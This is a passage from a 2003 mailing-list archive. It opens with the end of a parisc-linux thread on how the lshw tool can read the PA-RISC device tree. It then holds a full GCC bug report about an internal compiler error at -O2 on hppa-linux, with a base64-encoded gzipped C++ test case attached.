  my best...<BR>&gt; &gt;<BR>&gt; &gt; cheers,<BR>&gt; &gt; lv.<BR>&gt; &gt;<BR>&gt; &gt; On Wed, Mar 12, 2003 at 04:48:52PM +0000, Matthew Wilcox wrote:<BR>&gt; &gt; &gt; On Wed, Mar 12, 2003 at 05:32:36PM +0100, Lyonel Vincent wrote:<BR>&gt; &gt; &gt; &gt; I'm currently implementing a small tool called lshw (you can<BR>&gt; &gt; &gt; &gt; find it on Freshmeat) that enumerates installed devices on a<BR>&gt; &gt; &gt; &gt; machine and reports them as a device tree (text, HTML and XML).<BR>&gt; &gt; &gt;<BR>&gt; &gt; &gt; That's cool.<BR>&gt; &gt; &gt;<BR>&gt; &gt; &gt; &gt; For now it knows about DMI, PCI busses, SCSI, IDE and PCMCIA and<BR>&gt; &gt; &gt; &gt; I would like to port it to PA-RISC Linux. I already get some<BR>&gt; &gt; &gt; &gt; very basic info from /proc/cpuinfo.<BR>&gt; &g
 t; &gt; &gt; Does anyone know how I can access the device tree as seen by the<BR>&gt; &gt; &gt; &gt; kernel? (much like HP-UX's ioscan does and what is shown in<BR>&gt; &gt; &gt; &gt; dmesg)<BR>&gt; &gt; &gt;<BR>&gt; &gt; &gt; You can look in /var/log/dmesg. For example...<BR>&gt; &gt; &gt;<BR>&gt; &gt; &gt; Found devices:<BR>&gt; &gt; &gt; 1. U2-IOA BC Runway Port (12) at 0xfff88000 [8], versions 0x580,<BR>&gt; &gt; &gt; 0xf, 0xb 2. Dino PCI Bridge (13) at 0xf2000000 [8/0], versions<BR>&gt; &gt; &gt; 0x680, 0x0, 0xa, additional addresses: 0xf2800000 3. Raven U/L2<BR>&gt; &gt; &gt; Dino PS/2 Port (10) at 0xf2001000 [8/1], versions 0x6, 0x0, 0x96<BR>&gt; &gt; &gt; 4. Raven U/L2 Dino RS-232 (10) at 0xf2003000 [8/3], versions 0x6,<BR>&gt; &gt; &gt; 0x0, 0x8c 5. Raven U/L2 Core FW-SCSI(4) at
  0xf200c000 [8/12],<BR>&gt; &gt; &gt; versions 0x3b, 0x0, 0x89 6. Raven U/L2 Core BA(11) at 0xffd00000<BR>&gt; &gt; &gt; [8/16], versions 0x3b, 0x0, 0x81, additional addresses:<BR>&gt; &gt; &gt; 0xffd0c000 0xffc00000 7. Raven U/L2 Core Centronics (10) at<BR>&gt; &gt; &gt; 0xffd02000 [8/16/0], versions 0x3b, 0x0, 0x74, additional<BR>&gt; &gt; &gt; addresses: 0xffd01000 0xffd03000 8. Raven U/L2 Core Audio (10) at<BR>&gt; &gt; &gt; 0xffd04000[8/16/1], versions 0x3b, 0x4, 0x7b 9. Raven U/L2 Core<BR>&gt; &gt; &gt; RS-232 (10) at 0xffd05000 [8/16/4], versions 0x3b, 0x0, 0x8c 10.<BR>&gt; &gt; &gt; Raven U/L2 Core SCSI(10) at 0xffd06000 [8/16/5], versions 0x3b,<BR>&gt; &gt; &gt; 0x0, 0x82 11. Raven U/L2 Core LAN (802.3) (10) at 0xffd07000<BR>&gt; &gt; &gt; [8/16/6], versions 0x3b, 0x0, 0x8a 12. 
 Raven U/L2 Core PS/2 Port<BR>&gt; &gt; &gt; (10) at 0xffd08000 [8/16/7], versions 0x3b, 0x0, 0x84 13. Raven<BR>&gt; &gt; &gt; U/L2 Core PS/2 Port (10) at 0xffd08100 [8/16/8], versions 0x3b,<BR>&gt; &gt; &gt; 0x0, 0x84 14. Raven Backplane Wax BA (11) at 0xffe00000[8/20],<BR>&gt; &gt; &gt; versions 0x17, 0x0, 0x8e 15. Raven Backplane Wax HIL (10) at<BR>&gt; &gt; &gt; 0xffe01000 [8/20/1], versions 0x17, 0x0, 0x73 16. Raven Backplane<BR>&gt; &gt; &gt; RS-232(10) at 0xffe02000 [8/20/2], versions 0x17, 0x0, 0x8c 17.<BR>&gt; &gt; &gt; Raven Backplane Wax EISA BA (11) at 0xfc000000 [8/20/5], versions<BR>&gt; &gt; &gt; 0x17, 0x0, 0x90, additional addresses: 0xffc88000 0xfc00000b 18.<BR>&gt; &gt; &gt; Gecko GSC Core Graphics(10) at 0xfa000000 [8/24], versions 0x16,<BR>&gt; &gt; &gt; 0x0, 0x85, add
 itional addresses: 0xf0026000 19. U2-IOA BC GSC+<BR>&gt; &gt; &gt; Port (7) at 0xf203f000 [8/63], versions 0x501, 0x1, 0xc 20. U2-IOA<BR>&gt; &gt; &gt; BC Runway Port (12) at 0xfff8a000[10], versions 0x580, 0xf, 0xb<BR>&gt; &gt; &gt; 21. U2-IOA BC GSC+ Port (7) at 0xf103f000[10/63], versions 0x501,<BR>&gt; &gt; &gt; 0x1, 0xc 22. Raven U 240 (9000/780/C240) (0) at 0xfffa0000 [32],<BR>&gt; &gt; &gt; versions 0x599, 0x0, 0x4 23. Memory (1) at 0xfffb1000[49],<BR>&gt; &gt; &gt; versions 0x6f, 0x0, 0x9<BR>&gt; &gt; &gt;<BR>&gt; &gt; &gt; The numbers in [] tell you what the tree looks like. In this<BR>&gt; &gt; &gt; example, we have 4 top-level devices: #1, #20, #22 &amp; #23.<BR>&gt; &gt; &gt;<BR>&gt; &gt; &gt; &gt; I've tried digging in /proc without much success... is there a<BR>&gt; &gt; &g
 t; &gt; way to get this information from user space? PPC Linux exposes<BR>&gt; &gt; &gt; &gt; the device tree in /proc for example. A mechanism similar to<BR>&gt; &gt; &gt; &gt; /proc/bus/pci/devices(machine- parseable text) would be great,<BR>&gt; &gt; &gt; &gt; too.<BR>&gt; &gt; &gt;<BR>&gt; &gt; &gt; In 2.5, this information's available via sysfs. I don't think<BR>&gt; &gt; &gt; we'll expose it in /proc.<BR>&gt; &gt; &gt;<BR>&gt; &gt; &gt; &gt; PS: I noticed that /proc/iomem lists 00000000-000009ff as "PDC<BR>&gt; &gt; &gt; &gt; data(Page Zero)", is there a chance I can find what I need<BR>&gt; &gt; &gt; &gt; there? (I dd-ed it from /dev/mem but I can't say if it contains<BR>&gt; &gt; &gt; &gt; useful data...)<BR>&gt; &gt; &gt;<BR>&gt; &gt; &gt; No, you need to actually make firmware 
 calls and you can't do that<BR>&gt; &gt; &gt; from user mode.<BR>&gt; &gt; &gt;<BR>&gt; &gt; &gt; --<BR>&gt; &gt; &gt; "It's not Hollywood. War is real, war is primarily not about<BR>&gt; &gt; &gt; defeat or victory, it is about death. I've seen thousands and<BR>&gt; &gt; &gt; thousands of dead bodies. Do you think I want to have an academic<BR>&gt; &gt; &gt; debate on this subject?"-- Robert Fisk<BR>&gt; <BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE><p><br><hr size=1>Do you Yahoo!?<br>
<a href="http://webhosting.yahoo.com/ps/wh3/prod/">Yahoo! Web Hosting</a> - establish your business online
--0-960209626-1047543782=:19054--


From - Thu Nov 08 21:27:04 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: tausq@debian.org
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [3.3 regression] [hppa-linux] ICE at -O2 when building c++ code from doxygen
Date: Thu, 13 Mar 2003 00:30:29 -0800
Lines: 211
Approved: news@gmane.org
Message-ID: <20030313083029.GA26102__25633.3488192924$1416622281$gmane$org@tausq.org>
Reply-To: tausq@debian.org
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="u3/rZRmxL6MmkK24"
X-Trace: ger.gmane.org 1416622281 22838 80.91.229.3 (22 Nov 2014 02:11:21 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:21 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: gcc-gnats@gcc.gnu.org, debian-gcc@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Mar 13 01:35:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4E5EB4834
	for <parisc-linux@lists.parisc-linux.org>; Thu, 13 Mar 2003 01:35:23 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id DFA35CD294; Thu, 13 Mar 2003 00:30:29 -0800 (PST)
Content-Disposition: inline
X-send-pr-version: 3.113
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17920

--u3/rZRmxL6MmkK24
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline


>Submitter-Id:	net
>Originator:	Randolph Chung
>Organization:	Debian
>Confidential:	no
>Synopsis:	ICE at -O2 when building c++ code from doxygen
>Severity:	serious
>Priority:	medium
>Category:	optimization
>Class:		ice-on-legal-code
>Release:	3.3 20030309 (Debian prerelease) (Debian testing/unstable)
>Environment:
System: Linux gsyprf11.external.hp.com 2.4.20-pa18-UP #1 Sat Jan 4 22:06:52 PST 2003 parisc64 unknown unknown GNU/Linux
Architecture: parisc64

	<machine, os, target, libraries (multiple lines)>
host: hppa-unknown-linux-gnu
build: hppa-unknown-linux-gnu
target: hppa-unknown-linux-gnu
configured with: ../src/configure -v --enable-languages=c,c++,f77,objc,ada,treelang --prefix=/usr --mandir=/usr/share/man --infodir=/usr/share/info --with-gxx-include-dir=/usr/include/c++/3.3 --enable-shared --with-system-zlib --enable-nls --without-included-gettext --enable-__cxa_atexit --enable-sjlj-exceptions --enable-clocale=gnu --enable-debug --enable-objc-gc hppa-linux
>Description:
    The attached program was extracted from util.cpp from the doxygen
    package. It causes an ICE on hppa-linux.

    The code compiles correctly with g++-3.2.3

# gcc -O2 -Wall -c bug.cpp
bug.cpp: In function `ClassDef* getResolvedClass(Definition*, const char*)':
bug.cpp:1913: internal compiler error: Segmentation fault
Please submit a full bug report,
with preprocessed source if appropriate.
See <URL:http://www.gnu.org/software/gcc/bugs.html> for instructions.

>How-To-Repeat:
    Compile with g++-3.3 -O2 -Wall -c bug.cpp

>Fix:
    Unknown

--u3/rZRmxL6MmkK24
Content-Type: application/octet-stream
Content-Disposition: attachment; filename="bug.cpp.gz"
Content-Transfer-Encoding: base64

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
